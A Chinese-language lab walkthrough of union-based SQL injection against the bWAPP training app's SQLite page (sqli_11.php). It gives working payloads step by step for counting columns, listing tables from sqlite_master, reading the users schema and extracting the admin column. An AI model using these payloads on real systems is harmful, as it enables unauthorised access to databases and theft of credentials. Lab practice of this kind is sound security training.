SQL Injection (SQLite)

首先简单说下SQLite,SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。其中name字段存储所有表名;name字段存放着所有用户表;sql存放着所有表的创建语句,即表的结构。下面开始。

1、输入“title=1'”,报错为“Error: HY000”,没查到这个报错是什么意思,可能是sqlite报错的标志吧。如图:
SQL注入之bWAPP之sqli_11.php
2、判断字段数,并查看字段显示位:
输入“title=1' order by 6 --+”正常,输入“title=1' order by 7 --+”报错,如图:
SQL注入之bWAPP之sqli_11.php
SQL注入之bWAPP之sqli_11.php
输入“title=1' union select 1,2,3,4,5,6 --+”,如图:
SQL注入之bWAPP之sqli_11.php
3、查询表名:
输入“title=1' union select 1,2,3,tbl_name,5,6 from sqlite_master --+”,如图:
SQL注入之bWAPP之sqli_11.php
4、查询users表结构,即字段名:
输入“title=1' union select 1,2,3,sql,5,6 from sqlite_master --+”,如图:
SQL注入之bWAPP之sqli_11.php
可以看到表名为users,较重要的字段有admin,password,email;当然截图里没有截到admin。
5、查询字段内容:
输入“title=1' union select 1,2,3,admin,5,6 from users --+”,如图:
SQL注入之bWAPP之sqli_11.php
这里只能一个一个的查,不能使用MySQL语句的group_concat()函数,可能有别的方法,如果有大牛知道,不防知道一下啊,我在这拱手作揖先谢过了。